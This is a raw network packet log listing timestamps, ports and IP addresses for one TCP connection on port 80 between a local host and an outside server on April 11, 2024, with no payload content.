Apr 11, 2024 10:40:00.550376892 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.550410986 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:00.550414085 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.550455093 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.550472021 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:00.550496101 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.550553083 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:00.555288076 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.555349112 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.555416107 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:00.555450916 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.555507898 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.555546045 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.555567026 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:00.555605888 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.555644035 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.555665016 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:00.555702925 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.555743933 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.555763960 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:00.555783033 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.555839062 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:00.555840969 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.555913925 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.555972099 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:00.555991888 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.556030989 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.556087017 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.556090117 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:00.556154013 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.556214094 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:00.556246996 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.556343079 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.556380033 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.556402922 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:00.556457043 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.556516886 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:00.556534052 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.556632042 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.556690931 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:00.556761026 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.556849957 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.556920052 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.556924105 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:00.557004929 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.557043076 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.557065010 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:00.557081938 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.557120085 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.557142019 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:00.557158947 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.557197094 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.557219028 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:00.557235956 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.557272911 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.557296038 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:00.557312012 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.557349920 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.557368994 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:00.557389021 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.557426929 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.557457924 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:00.557466030 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.557504892 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.557523012 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:00.557543993 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.557580948 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.557600021 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:00.557619095 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.557657003 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.557674885 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:00.557697058 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.557734013 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.557756901 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:00.557775021 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.557811975 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.557826996 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:00.557849884 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.557888031 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.557904005 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:00.557925940 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.557965994 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.557984114 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:00.558006048 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.558064938 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:00.641175032 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.641237020 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.641278028 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.641315937 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.641352892 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.641391993 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.641405106 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:00.641406059 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:00.641458988 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:00.886243105 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.886307955 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.886347055 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.886385918 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.886511087 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:00.886511087 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:00.893805981 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.893847942 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.893917084 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:00.893958092 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.894047976 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.894109011 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:00.894149065 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.894187927 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.894226074 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.894248962 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:00.894335985 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.894397020 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:00.894438982 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.894530058 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.894575119 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.894587994 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:00.894671917 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.894709110 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.894731045 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:00.894747972 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.894787073 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.894809961 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:00.894824028 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.894860983 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.894881964 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:00.894897938 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.894934893 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.894958019 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:00.894972086 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.895009041 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.895030975 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:00.895047903 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.895087004 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.895114899 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:00.895123005 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.895164013 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.895184994 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:00.895201921 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.895239115 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.895260096 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:00.895275116 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.895312071 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.895333052 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:00.895354986 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.895392895 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.895412922 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:00.895430088 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.895467997 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.895488977 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:00.895504951 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.895540953 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.895561934 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:00.895579100 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.895616055 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.895636082 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:00.895653009 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.895689964 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.895724058 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:00.895725965 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.895766020 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.895782948 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:00.895803928 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.895842075 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.895859957 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:00.895880938 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.895919085 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.895932913 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:00.895956993 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.895993948 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.896018028 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:00.896030903 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.896068096 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.896084070 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:00.896105051 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.896142960 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.896162987 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:00.896181107 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.896240950 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.896254063 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:00.896280050 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.896317959 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.896336079 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:00.896356106 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.896393061 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.896413088 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:00.896431923 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.896469116 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.896486044 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:00.946269989 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:00.976650953 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.976702929 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.976742983 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.976783991 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.976820946 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.976855993 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:00.976855993 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:00.976857901 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.976898909 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:00.976922035 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:01.024437904 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:01.223021984 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:01.223081112 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:01.223119020 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:01.223176003 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:01.223177910 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:01.223263979 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:01.231508970 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:01.231636047 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:01.231693029 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:01.231703997 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:01.231750011 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:01.231817961 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:01.231847048 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:01.231916904 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:01.231975079 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:01.232040882 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:01.232121944 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:01.232178926 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:01.232183933 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:01.232356071 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:01.232409954 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:01.232410908 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:01.232448101 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:01.232506037 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:01.232543945 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:01.232645035 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:01.232713938 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:01.232713938 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:01.232811928 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:01.232870102 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:01.232953072 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:01.233021975 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:01.233069897 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:01.233077049 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:01.233108997 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:01.233144999 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:01.233165026 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:01.233185053 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:01.233223915 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:01.233244896 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:01.233262062 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:01.233300924 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:01.233319044 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:01.233339071 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:01.233376026 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:01.233396053 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:01.233412027 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:01.233449936 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:01.233474016 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:01.233550072 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:01.233587980 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:01.233606100 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:01.233627081 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:01.233664989 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:01.233683109 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:01.233701944 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:01.233740091 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:01.233757019 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:01.233778000 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:01.233814001 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:01.233834028 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:01.233851910 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:01.233889103 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:01.233921051 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:01.233926058 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:01.233963966 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:01.233978033 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:01.233999968 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:01.234036922 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:01.234050989 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:01.234076023 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:01.234112978 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:01.234127998 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:01.234149933 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:01.234186888 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:01.234203100 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:01.234225988 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:01.234262943 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:01.234281063 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:01.234299898 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:01.234338045 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:01.234358072 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:01.234375000 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:01.234412909 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:01.234431028 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:01.234448910 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:01.234486103 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:01.234507084 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:01.234524965 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:01.234566927 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:01.234581947 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:01.234606981 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:01.234643936 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:01.234663010 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:01.281502962 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:01.281594038 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:01.316327095 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:01.316472054 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:01.316509962 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:01.316590071 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:01.316638947 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:01.316657066 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:01.316657066 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:01.316683054 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:01.316873074 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:01.360780954 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:01.360846043 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:01.360924959 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:01.559076071 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:01.559107065 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:01.559125900 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:01.559149027 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:01.559175014 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:01.559218884 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:01.569621086 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:01.569663048 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:01.569685936 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:01.569710016 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:01.569735050 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:01.569749117 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:01.569778919 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:01.569802046 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:01.569808006 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:01.569835901 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:01.569847107 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:01.569854975 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:01.569881916 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:01.569892883 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:01.569916964 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:01.569935083 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:01.569936991 CEST	49705	80	192.168.2.5	103.74.105.78
Apr 11, 2024 10:40:01.569967985 CEST	80	49705	103.74.105.78	192.168.2.5
Apr 11, 2024 10:40:01.569986105 CEST	49705	80	192.168.2.5	103.74.105.78
